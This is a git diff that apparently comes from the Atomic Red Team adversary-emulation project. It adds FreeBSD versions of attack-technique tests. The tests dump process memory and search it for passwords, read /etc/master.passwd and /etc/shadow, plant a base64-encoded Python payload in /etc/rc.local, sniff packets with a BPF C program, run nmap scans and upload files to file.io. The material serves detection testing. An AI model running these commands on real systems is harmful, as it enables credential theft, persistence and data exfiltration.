diff --git a/atomics/T1003.007/T1003.007.yaml b/atomics/T1003.007/T1003.007.yaml index 84a02bd2da..51ab58d2a3 100644 --- a/atomics/T1003.007/T1003.007.yaml +++ b/atomics/T1003.007/T1003.007.yaml @@ -6,7 +6,6 @@ atomic_tests: description: | Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. - supported_platforms: - linux @@ -49,13 +48,60 @@ atomic_tests: cleanup_command: | rm -f "#{output_file}" +- name: Dump individual process memory with sh on FreeBSD (Local) + description: | + Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to + copy process memory to an external file so it can be searched or exfiltrated later. + On FreeBSD procfs must be mounted. + supported_platforms: + - freebsd + + input_arguments: + output_file: + description: Path where captured results will be placed + type: path + default: /tmp/T1003.007.bin + script_path: + description: Path to script generating the target process + type: path + default: /tmp/T1003.007.sh + pid_term: + description: Unique string to use to identify target process + type: string + default: T1003.007 + + dependencies: + - description: | + Script to launch target process must exist + prereq_command: | + test -f #{script_path} + grep "#{pid_term}" #{script_path} + get_prereq_command: | + echo '#!/bin/sh' > #{script_path} + echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} + + executor: + name: sh + elevation_required: true + command: | + sh #{script_path} + PID=$(pgrep -n -f "#{pid_term}") + MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1) + MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2) + MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START))) + dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" + strings "#{output_file}" | grep -i PASS + cleanup_command: | + rm -f "#{output_file}" + - name: Dump individual process memory with Python (Local) auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63 description: | Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. - + On FreeBSD procfs must be mounted. supported_platforms: + - freebsd - linux input_arguments: diff --git a/atomics/T1003.007/src/dump_heap.py b/atomics/T1003.007/src/dump_heap.py index 34d479c73a..9908be6516 100644 --- a/atomics/T1003.007/src/dump_heap.py +++ b/atomics/T1003.007/src/dump_heap.py @@ -5,6 +5,7 @@ python dump_proc.py ''' import argparse +import platform parser = argparse.ArgumentParser(description='Dump a process\'s heap space to disk') @@ -15,13 +16,21 @@ process_id = args.pid output_file = args.filepath -with open("/proc/{}/maps".format(process_id), "r") as maps_file: - # example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap] - heap_line = next(filter(lambda line: "[heap]" in line, maps_file)) - heap_range = heap_line.split(' ')[0] - mem_start = int(heap_range.split('-')[0], 16) - mem_stop = int(heap_range.split('-')[1], 16) - mem_size = mem_stop - mem_start +if platform.system() == "Linux": + with open("/proc/{}/maps".format(process_id), "r") as maps_file: + # example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap] + heap_line = next(filter(lambda line: "[heap]" in line, maps_file)) + heap_range = heap_line.split(' ')[0] + mem_start = int(heap_range.split('-')[0], 16) + mem_stop = int(heap_range.split('-')[1], 16) + mem_size = mem_stop - mem_start +elif platform.system() == "FreeBSD": + import linecache + mem_line = linecache.getline("/proc/"+str(process_id)+"/map",4) + mem_start = int(mem_line.split(' ')[0], 16) + mem_stop = int(mem_line.split(' ')[1], 16) + mem_size = mem_stop - mem_start + mem_start = mem_stop with open("/proc/{}/mem".format(process_id), "rb") as mem_file: mem_file.seek(mem_start, 0) diff --git a/atomics/T1003.008/T1003.008.yaml b/atomics/T1003.008/T1003.008.yaml index cc5d14547b..f5c06ca86b 100644 --- a/atomics/T1003.008/T1003.008.yaml +++ b/atomics/T1003.008/T1003.008.yaml @@ -1,5 +1,5 @@ attack_technique: T1003.008 -display_name: 'OS Credential Dumping: /etc/passwd and /etc/shadow' +display_name: 'OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow' atomic_tests: - name: Access /etc/shadow (Local) auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235 @@ -20,11 +20,30 @@ atomic_tests: rm -f #{output_file} name: bash elevation_required: true +- name: Access /etc/master.passwd (Local) + description: | + /etc/master.passwd file is accessed in FreeBSD environments + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Path where captured results will be placed + type: path + default: /tmp/T1003.008.txt + executor: + command: | + sudo cat /etc/master.passwd > #{output_file} + cat #{output_file} + cleanup_command: | + rm -f #{output_file} + name: sh + elevation_required: true - name: Access /etc/passwd (Local) auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d description: | - /etc/passwd file is accessed in Linux environments + /etc/passwd file is accessed in FreeBSD and Linux environments supported_platforms: + - freebsd - linux input_arguments: output_file: @@ -38,11 +57,12 @@ atomic_tests: cleanup_command: | rm -f #{output_file} name: sh -- name: Access /etc/{shadow,passwd} with a standard bin that's not cat +- name: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a description: | - Dump /etc/passwd and /etc/shadow using ed + Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed supported_platforms: + - freebsd - linux input_arguments: output_file: @@ -51,16 +71,17 @@ atomic_tests: default: /tmp/T1003.008.txt executor: command: | - echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file} + echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file} cleanup_command: | rm -f #{output_file} - name: bash + name: sh elevation_required: true -- name: Access /etc/{shadow,passwd} with shell builtins +- name: Access /etc/{shadow,passwd,master.passwd} with shell builtins auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713 description: | - Dump /etc/passwd and /etc/shadow using bash builtins + Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins supported_platforms: + - freebsd - linux input_arguments: output_file: @@ -69,10 +90,11 @@ atomic_tests: default: /tmp/T1003.008.txt executor: command: | - function testcat(){ echo "$(< $1)"; } - testcat /etc/passwd > #{output_file} - testcat /etc/shadow > #{output_file} + testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) } + testcat /etc/passwd + testcat /etc/master.passwd + testcat /etc/shadow cleanup_command: | rm -f #{output_file} - name: bash + name: sh elevation_required: true diff --git a/atomics/T1007/T1007.yaml b/atomics/T1007/T1007.yaml index d439a2f329..34ffdb8ecc 100644 --- a/atomics/T1007/T1007.yaml +++ b/atomics/T1007/T1007.yaml @@ -45,3 +45,12 @@ atomic_tests: command: | systemctl --type=service name: bash +- name: System Service Discovery - service + description: | + Enumerates system service using service + supported_platforms: + - freebsd + executor: + command: | + service -e + name: sh diff --git a/atomics/T1016/T1016.yaml b/atomics/T1016/T1016.yaml index 52e56ad7cf..31eea4edf2 100644 --- a/atomics/T1016/T1016.yaml +++ b/atomics/T1016/T1016.yaml @@ -53,6 +53,19 @@ atomic_tests: if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi; if [ -x "$(command -v netstat)" ]; then netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi; name: sh +- name: System Network Configuration Discovery (freebsd) + description: | + Identify network configuration information. + + Upon successful execution, sh will spawn multiple commands and output will be via stdout. + supported_platforms: + - freebsd + executor: + command: | + if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi; + if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi; + if [ -x "$(command -v netstat)" ]; then netstat -Sp tcp | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi; + name: sh - name: System Network Configuration Discovery (TrickBot Style) auto_generated_guid: dafaf052-5508-402d-bf77-51e0700c02e2 description: | diff --git a/atomics/T1018/T1018.yaml b/atomics/T1018/T1018.yaml index 8964805900..fa69d93363 100644 --- a/atomics/T1018/T1018.yaml +++ b/atomics/T1018/T1018.yaml @@ -87,6 +87,7 @@ atomic_tests: Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout. supported_platforms: + - freebsd - linux - macos dependency_executor_name: sh @@ -108,6 +109,7 @@ atomic_tests: Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -270,6 +272,16 @@ atomic_tests: ip route show name: sh +- name: Remote System Discovery - netstat + description: | + Use the netstat command to display the kernels routing tables. + supported_platforms: + - freebsd + executor: + command: | + netstat -r | grep default + name: sh + - name: Remote System Discovery - ip tcp_metrics auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388 description: | diff --git a/atomics/T1027.001/T1027.001.yaml b/atomics/T1027.001/T1027.001.yaml index 90fb0e8845..9561325e96 100644 --- a/atomics/T1027.001/T1027.001.yaml +++ b/atomics/T1027.001/T1027.001.yaml @@ -8,6 +8,7 @@ atomic_tests: Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -15,7 +16,7 @@ atomic_tests: description: Path of binary to be padded type: path default: /tmp/evil-binary - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | The binary must exist on disk at specified location (#{file_to_pad}) @@ -39,6 +40,7 @@ atomic_tests: Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -46,7 +48,7 @@ atomic_tests: description: Path of binary to be padded type: path default: /tmp/evil-binary - dependency_executor_name: bash + dependency_executor_name: sh dependencies: - description: | The binary must exist on disk at specified location (#{file_to_pad}) diff --git a/atomics/T1027.002/T1027.002.yaml b/atomics/T1027.002/T1027.002.yaml index a891d849ef..92c23ebec6 100644 --- a/atomics/T1027.002/T1027.002.yaml +++ b/atomics/T1027.002/T1027.002.yaml @@ -39,6 +39,7 @@ atomic_tests: cleanup_command: | rm /tmp/packed_bin name: sh + - name: Binary simply packed by UPX auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20 description: | diff --git a/atomics/T1027.004/T1027.004.yaml b/atomics/T1027.004/T1027.004.yaml index 6eed0e4af6..f03b4e2998 100644 --- a/atomics/T1027.004/T1027.004.yaml +++ b/atomics/T1027.004/T1027.004.yaml @@ -62,8 +62,9 @@ atomic_tests: - name: C compile auto_generated_guid: d0377aa6-850a-42b2-95f0-de558d80be57 description: | - Compile a c file with either gcc or clang on Linux or Macos. + Compile a c file with either gcc or clang on FreeBSD, Linux or Macos. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -83,12 +84,13 @@ atomic_tests: command: | gcc #{input_file} && ./a.out clang #{input_file} && ./a.out - name: bash + name: sh - name: CC compile auto_generated_guid: da97bb11-d6d0-4fc1-b445-e443d1346efe description: | - Compile a c file with either gcc or clang on Linux or Macos. + Compile a c file with either gcc or clang on FreeBSD, Linux or Macos. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -108,12 +110,13 @@ atomic_tests: command: | g++ #{input_file} && ./a.out clang++ #{input_file} && ./a.out - name: bash + name: sh - name: Go compile auto_generated_guid: 78bd3fa7-773c-449e-a978-dc1f1500bc52 description: | - Compile a c file with either gcc or clang on Linux or Macos. + Compile a go file with golang on FreeBSD, Linux or Macos. supported_platforms: + - freebsd - linux - macos input_arguments: @@ -132,4 +135,4 @@ atomic_tests: executor: command: | go run #{input_file} - name: bash + name: sh diff --git a/atomics/T1027/T1027.yaml b/atomics/T1027/T1027.yaml index df0dd38497..a49e0b2136 100644 --- a/atomics/T1027/T1027.yaml +++ b/atomics/T1027/T1027.yaml @@ -33,6 +33,36 @@ atomic_tests: rm /tmp/encoded.dat rm /tmp/art.sh name: sh +- name: Decode base64 Data into Script + description: | + Creates a base64-encoded data file and decodes it into an executable shell script + + Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` + and uname -v + supported_platforms: + - freebsd + input_arguments: + shell_command: + description: command to encode + type: string + default: "echo Hello from the Atomic Red Team && uname -v" + dependency_executor_name: sh + dependencies: + - description: | + encode the command into base64 file + prereq_command: | + exit 1 + get_prereq_command: | + echo "#{shell_command}" | b64encode -r - > /tmp/encoded.dat + executor: + command: | + cat /tmp/encoded.dat | b64decode -r > /tmp/art.sh + chmod +x /tmp/art.sh + /tmp/art.sh + cleanup_command: | + rm /tmp/encoded.dat + rm /tmp/art.sh + name: sh - name: Execute base64-encoded PowerShell auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6 description: | diff --git a/atomics/T1030/T1030.yaml b/atomics/T1030/T1030.yaml index 1497fb077a..74b38b1d26 100644 --- a/atomics/T1030/T1030.yaml +++ b/atomics/T1030/T1030.yaml @@ -8,6 +8,7 @@ atomic_tests: supported_platforms: - macos - linux + - freebsd input_arguments: file_name: description: File name diff --git a/atomics/T1033/T1033.yaml b/atomics/T1033/T1033.yaml index 0188909f5e..993a6cf317 100644 --- a/atomics/T1033/T1033.yaml +++ b/atomics/T1033/T1033.yaml @@ -33,6 +33,7 @@ atomic_tests: Upon successful execution, sh will stdout list of usernames. supported_platforms: + - freebsd - linux - macos executor: @@ -104,4 +105,4 @@ atomic_tests: cleanup_command: | Remove-Item -Path #{output_path}\rad*.tmp -Force - name: powershell \ No newline at end of file + name: powershell diff --git a/atomics/T1036.003/T1036.003.yaml b/atomics/T1036.003/T1036.003.yaml index 33f664ce2a..7419662ed9 100644 --- a/atomics/T1036.003/T1036.003.yaml +++ b/atomics/T1036.003/T1036.003.yaml @@ -16,13 +16,14 @@ atomic_tests: cleanup_command: | del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1 name: command_prompt -- name: Masquerading as Linux crond process. +- name: Masquerading as FreeBSD or Linux crond process. auto_generated_guid: a315bfff-7a98-403b-b442-2ea1b255e556 description: | Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon. Upon successful execution, sh is renamed to `crond` and executed. supported_platforms: + - freebsd - linux executor: command: | diff --git a/atomics/T1036.005/T1036.005.yaml b/atomics/T1036.005/T1036.005.yaml index e8b05be4d9..5014375fdf 100644 --- a/atomics/T1036.005/T1036.005.yaml +++ b/atomics/T1036.005/T1036.005.yaml @@ -8,6 +8,7 @@ atomic_tests: supported_platforms: - macos - linux + - freebsd input_arguments: test_message: description: Test message to echo out to the screen diff --git a/atomics/T1036.006/T1036.006.yaml b/atomics/T1036.006/T1036.006.yaml index 14c6f51e25..8799461de3 100644 --- a/atomics/T1036.006/T1036.006.yaml +++ b/atomics/T1036.006/T1036.006.yaml @@ -33,3 +33,19 @@ atomic_tests: './testdirwithspaceend /init ' cleanup_command: rm -rf /tmp/atomic-test-T1036.006 +- name: Space After Filename (FreeBSD) + description: | + Space after filename. + supported_platforms: + - freebsd + executor: + name: sh + command: | + mkdir -p /tmp/atomic-test-T1036.006 + cd /tmp/atomic-test-T1036.006 + mkdir -p 'testdirwithspaceend ' + /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " + chmod +x 'testdirwithspaceend /init ' + './testdirwithspaceend /init ' + cleanup_command: + rm -rf /tmp/atomic-test-T1036.006 diff --git a/atomics/T1037.004/T1037.004.yaml b/atomics/T1037.004/T1037.004.yaml index aec280676f..b93a5a12a8 100644 --- a/atomics/T1037.004/T1037.004.yaml +++ b/atomics/T1037.004/T1037.004.yaml @@ -53,5 +53,20 @@ atomic_tests: sudo chmod +x /etc/rc.local cleanup_command: | origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi +- name: rc.local (FreeBSD) + description: | + Modify rc.local - + supported_platforms: + - freebsd + executor: + name: sh + elevation_required: true + command: | + filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi + printf '%s\n' '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local + echo 'python3.9 -c "import os, base64;exec(base64.b64decode(\"aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo=\"))"' | sudo tee -a /etc/rc.local + printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local + sudo chmod +x /etc/rc.local + cleanup_command: | + origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi diff --git a/atomics/T1040/T1040.yaml b/atomics/T1040/T1040.yaml index 4c503a9e64..440608f266 100644 --- a/atomics/T1040/T1040.yaml +++ b/atomics/T1040/T1040.yaml @@ -28,6 +28,32 @@ atomic_tests: tshark -c 5 -i #{interface} name: bash elevation_required: true +- name: Packet Capture FreeBSD using tshark or tcpdump + description: | + Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. + + Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33. + supported_platforms: + - freebsd + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: string + default: em0 + dependency_executor_name: sh + dependencies: + - description: | + Check if at least one of tcpdump or tshark is installed. + prereq_command: | + if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; + get_prereq_command: | + (which pkg && pkg install -y wireshark-nox11) + executor: + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + name: sh + elevation_required: true - name: Packet Capture macOS using tcpdump or tshark auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608 description: | @@ -222,6 +248,73 @@ atomic_tests: rm -f #{program_path} name: bash elevation_required: true +- name: Packet Capture FreeBSD using /dev/bpfN with sudo + description: | + Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds. + supported_platforms: + - freebsd + input_arguments: + ifname: + description: Specify interface to perform PCAP on. + type: string + default: em0 + csource_path: + description: Path to C program source + type: string + default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c + program_path: + description: Path to compiled C program + type: string + default: /tmp/t1040_freebsd_pcapdemo + dependency_executor_name: sh + dependencies: + - description: | + compile C program + prereq_command: | + exit 1 + get_prereq_command: | + cc #{csource_path} -o #{program_path} + executor: + command: | + sudo #{program_path} -i #{ifname} -t 3 + cleanup_command: | + rm -f #{program_path} + name: sh + elevation_required: true +- name: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo + description: | + Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds. + supported_platforms: + - freebsd + input_arguments: + ifname: + description: Specify interface to perform PCAP on. + type: string + default: em0 + csource_path: + description: Path to C program source + type: string + default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c + program_path: + description: Path to compiled C program + type: string + default: /tmp/t1040_freebsd_pcapdemo + dependency_executor_name: sh + dependencies: + - description: | + compile C program + prereq_command: | + exit 1 + get_prereq_command: | + cc #{csource_path} -o #{program_path} + executor: + command: | + sudo #{program_path} -f -i #{ifname} -t 3 + cleanup_command: | + rm -f #{program_path} + name: sh + elevation_required: true + - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo auto_generated_guid: 10c710c9-9104-4d5f-8829-5b65391e2a29 description: | diff --git a/atomics/T1040/src/freebsd_pcapdemo.c b/atomics/T1040/src/freebsd_pcapdemo.c new file mode 100644 index 0000000000..94293c8c4b --- /dev/null +++ b/atomics/T1040/src/freebsd_pcapdemo.c @@ -0,0 +1,299 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEFAULT_IFNAME "en0" +#define DEFAULT_BUFSIZE 32767 + +static const struct option longopts[] = { + { "filter", no_argument, NULL, 'f'}, + { "promisc", no_argument, NULL, 'p'}, + { "ifname", required_argument, NULL, 'i'}, + { "time", required_argument, NULL, 't'}, + { 0, 0, 0, 0 } +}; + +// counters for each protocol seen + +static int64_t gNumTcp = 0; +static int64_t gNumUdp = 0; +static int64_t gNumIcmp = 0; +static int64_t gNumOther = 0; + +static void usage(const char *progname) +{ + printf("usage: %s \n", progname); + printf(" -f --filter Set BPF filter to UDP. Default is unfiltered.\n"); + printf(" -p --promisc Will enable promisc to capture packets not destined for this system.\n"); + printf(" -i --ifname Specify ifname. Default is 'en0'.\n"); + printf(" -t --time Exit after number of seconds. Default is to run until killed.\n"); +} + +typedef struct { + char interfaceName[16]; + unsigned int bufferLength; +} BpfOption; + +typedef struct { + int fd; + char deviceName[16]; + unsigned int bufferLength; + unsigned int lastReadLength; + unsigned int readBytesConsumed; + char *buffer; +} BpfSniffer; + +typedef struct { + char *data; +} CapturedInfo; + +/* + * pick next available /dev/bpf device file. + * @returns 0 and sets sniffer->fd on success, returns -1 on failure. + */ +int pick_bpf_device(BpfSniffer *sniffer) +{ + char dev[16] = {0}; + for (int i = 0; i < 99; ++i) { + sprintf(dev, "/dev/bpf%i", i); + sniffer->fd = open(dev, O_RDONLY); + if (sniffer->fd != -1) { + fprintf(stderr, "opened '%s'\n", dev); + strcpy(sniffer->deviceName, dev); + return 0; + } + } + return -1; +} + +/* + * Based on https://gist.github.com/c-bata/ca188c0184715efc2660422b4b3851c6 + */ +int new_bpf_sniffer(const char *ifname, BpfSniffer *sniffer, int isBpfFilterEnabled, int isPromiscEnabled) +{ + unsigned int bufferLength = DEFAULT_BUFSIZE; + if (pick_bpf_device(sniffer) == -1) + return -1; + + // setup packet buffer length + + if (ioctl(sniffer->fd, BIOCSBLEN, &bufferLength) == -1) { + perror("ioctl BIOCSBLEN"); + return -1; + } + sniffer->bufferLength = bufferLength; + + // specify interface + + struct ifreq interface; + strcpy(interface.ifr_name, ifname); + if(ioctl(sniffer->fd, BIOCSETIF, &interface) > 0) { + perror("ioctl BIOCSETIF"); + return -1; + } + + // immediate packet callback? + + unsigned int enable = 1; + if (ioctl(sniffer->fd, BIOCIMMEDIATE, &enable) == -1) { + perror("ioctl BIOCIMMEDIATE"); + return -1; + } + + // enable Promisc if enabled + + if (isPromiscEnabled) { + printf("Attempting to enable PRMOMISC\n"); + if (ioctl(sniffer->fd, BIOCPROMISC, NULL) == -1) { + perror("ioctl BIOCPROMISC"); + return -1; + } + } + + // set a BPF traffic filter if set + + if (isBpfFilterEnabled) { + // generated using 'tcpdump -i en0 udp -dd' + struct bpf_insn instructions[] = { +{ 0x28, 0, 0, 0x0000000c }, +{ 0x15, 0, 5, 0x000086dd }, +{ 0x30, 0, 0, 0x00000014 }, +{ 0x15, 6, 0, 0x00000011 }, +{ 0x15, 0, 6, 0x0000002c }, +{ 0x30, 0, 0, 0x00000036 }, +{ 0x15, 3, 4, 0x00000011 }, +{ 0x15, 0, 3, 0x00000800 }, +{ 0x30, 0, 0, 0x00000017 }, +{ 0x15, 0, 1, 0x00000011 }, +{ 0x6, 0, 0, 0x00040000 }, +{ 0x6, 0, 0, 0x00000000 }, + }; + struct bpf_program filter = {12, instructions}; + + printf("Adding BPF filter to only match 'udp' traffic\n"); + + if (ioctl(sniffer->fd, BIOCSETF, &filter) == -1) { + perror("ioctl BIOCSETF"); + return -1; + } + } + + // finally, allocate buffer and initialize + + sniffer->readBytesConsumed = 0; + sniffer->lastReadLength = 0; + sniffer->buffer = (char *)malloc(sizeof(char) * sniffer->bufferLength); + return 0; +} + +int read_bpf_packet_data(BpfSniffer *sniffer, CapturedInfo *info) +{ + struct bpf_hdr *bpfPacket; + if (sniffer->readBytesConsumed + sizeof(sniffer->buffer) >= sniffer->lastReadLength) { + sniffer->readBytesConsumed = 0; + memset(sniffer->buffer, 0, sniffer->bufferLength); + + ssize_t lastReadLength = read(sniffer->fd, sniffer->buffer, sniffer->bufferLength); + if (lastReadLength == -1) { + sniffer->lastReadLength = 0; + perror("read bpf packet:"); + return -1; + } + sniffer->lastReadLength = (unsigned int) lastReadLength; + } + + bpfPacket = (struct bpf_hdr*)((long)sniffer->buffer + (long)sniffer->readBytesConsumed); + info->data = sniffer->buffer + (long)sniffer->readBytesConsumed + bpfPacket->bh_hdrlen; + sniffer->readBytesConsumed += BPF_WORDALIGN(bpfPacket->bh_hdrlen + bpfPacket->bh_caplen); + return bpfPacket->bh_datalen; +} + +int close_bpf_sniffer(BpfSniffer *sniffer) +{ + free(sniffer->buffer); + + if (close(sniffer->fd) == -1) + return -1; + return 0; +} + +void ProcessIncomingPacketLoop(BpfSniffer *psniffer, int timeout) +{ + CapturedInfo info = { NULL }; + int dataLength = 0; + time_t tstop = time(NULL) + timeout; + + // loop to process incoming packets + + while((dataLength = read_bpf_packet_data(psniffer, &info)) != -1) + { + char* pend = (info.data + dataLength); + struct ether_header* eh = (struct ether_header*)info.data; + + if (ntohs(eh->ether_type) == ETHERTYPE_IP) { + + struct ip* ip = (struct ip*)((long)eh + sizeof(struct ether_header)); + switch(ip->ip_p) { + case IPPROTO_TCP: + ++gNumTcp; + break; + case IPPROTO_UDP: + ++gNumUdp; + break; + case IPPROTO_ICMP: + ++gNumIcmp; + break; + default: + ++gNumOther; + break; + } + + } else { + gNumOther++; + } + + if (timeout > 0 && time(NULL) >= tstop) { + break; + } + } +} + +void PrintStats() +{ + printf("TCP:%lld UDP:%lld ICMP:%lld Other:%lld\n", gNumTcp, gNumUdp, gNumIcmp, gNumOther); +} + +void sigint_handler(int sig) +{ + PrintStats(); +} + +int main(int argc, char *argv[]) +{ + BpfSniffer sniffer; + int isBpfFilterEnabled = 0; + int isPromiscEnabled = 0; + int timeout = 0; + char ifname[16] = DEFAULT_IFNAME; + int c; + + memset(&sniffer, 0, sizeof(sniffer)); + + while(1) + { + int option_index = 0; + + c = getopt_long(argc, argv, "fpi:t:", longopts, &option_index); + if (c == -1) + break; + + switch (c) { + case 'f': + isBpfFilterEnabled = 1; + break; + case 'p': + isPromiscEnabled = 1; + break; + case 'i': + strcpy(ifname, optarg); + printf("using interface '%s'\n", optarg); + break; + case 't': + timeout = atoi(optarg); + printf("will exit after about %d seconds (if packet activity)\n", timeout); + break; + default: + printf("invalid argument: '%c'\n", c); + usage(argv[0]); + return -1; + } + } + + if (new_bpf_sniffer(ifname, &sniffer, isBpfFilterEnabled, isPromiscEnabled) == -1) + return 1; + + signal(SIGINT, sigint_handler); + + ProcessIncomingPacketLoop(&sniffer, timeout); + + PrintStats(); + + close_bpf_sniffer(&sniffer); + return 0; +} diff --git a/atomics/T1046/T1046.yaml b/atomics/T1046/T1046.yaml index 31f994e929..7e1070846f 100644 --- a/atomics/T1046/T1046.yaml +++ b/atomics/T1046/T1046.yaml @@ -68,6 +68,41 @@ atomic_tests: nc -nv #{host} #{port} name: sh elevation_required: true +- name: Port Scan Nmap for FreeBSD + description: | + Scan ports to check for listening ports with Nmap. + + Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout. + supported_platforms: + - freebsd + input_arguments: + host: + description: Host to scan. + type: string + default: 192.168.1.1 + port: + description: Ports to scan. + type: string + default: "80" + network_range: + description: Network Range to Scan. + type: string + default: 192.168.1.0/24 + dependency_executor_name: sh + dependencies: + - description: | + Check if nmap command exists on the machine + prereq_command: | + if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi; + get_prereq_command: | + (which pkg && pkg install -y nmap) + executor: + command: | + nmap -sS #{network_range} -p #{port} + telnet #{host} #{port} + nc -nv #{host} #{port} + name: sh + elevation_required: true - name: Port Scan NMap for Windows auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df description: Scan ports to check for listening ports for the local host 127.0.0.1 diff --git a/atomics/T1048.002/T1048.002.yaml b/atomics/T1048.002/T1048.002.yaml index 9d34550910..b3cffe022e 100644 --- a/atomics/T1048.002/T1048.002.yaml +++ b/atomics/T1048.002/T1048.002.yaml @@ -39,13 +39,14 @@ atomic_tests: elevation_required: false command: | #{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/ -- name: Exfiltrate data HTTPS using curl linux +- name: Exfiltrate data HTTPS using curl freebsd,linux or macos auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01 description: | Exfiltrate data HTTPS using curl to file share site file.io supported_platforms: - macos - linux + - freebsd input_arguments: input_file: description: Test file to upload diff --git a/atomics/T1048.003/T1048.003.yaml b/atomics/T1048.003/T1048.003.yaml index 14c169df75..52e7347461 100644 --- a/atomics/T1048.003/T1048.003.yaml +++ b/atomics/T1048.003/T1048.003.yaml @@ -4,12 +4,13 @@ atomic_tests: - name: Exfiltration Over Alternative Protocol - HTTP auto_generated_guid: 1d1abbd6-a3d3-4b2e-bef5-c59293f46eff description: | - A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337. + A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337. Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded. supported_platforms: - macos - linux + - freebsd executor: steps: | 1. Victim System Configuration: @@ -52,6 +53,7 @@ atomic_tests: description: | Exfiltration of specified file over DNS protocol. supported_platforms: + - freebsd - linux executor: steps: | @@ -216,3 +218,13 @@ atomic_tests: elevation_required: false command: | if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi +- name: Python3 http.server (freebsd) + 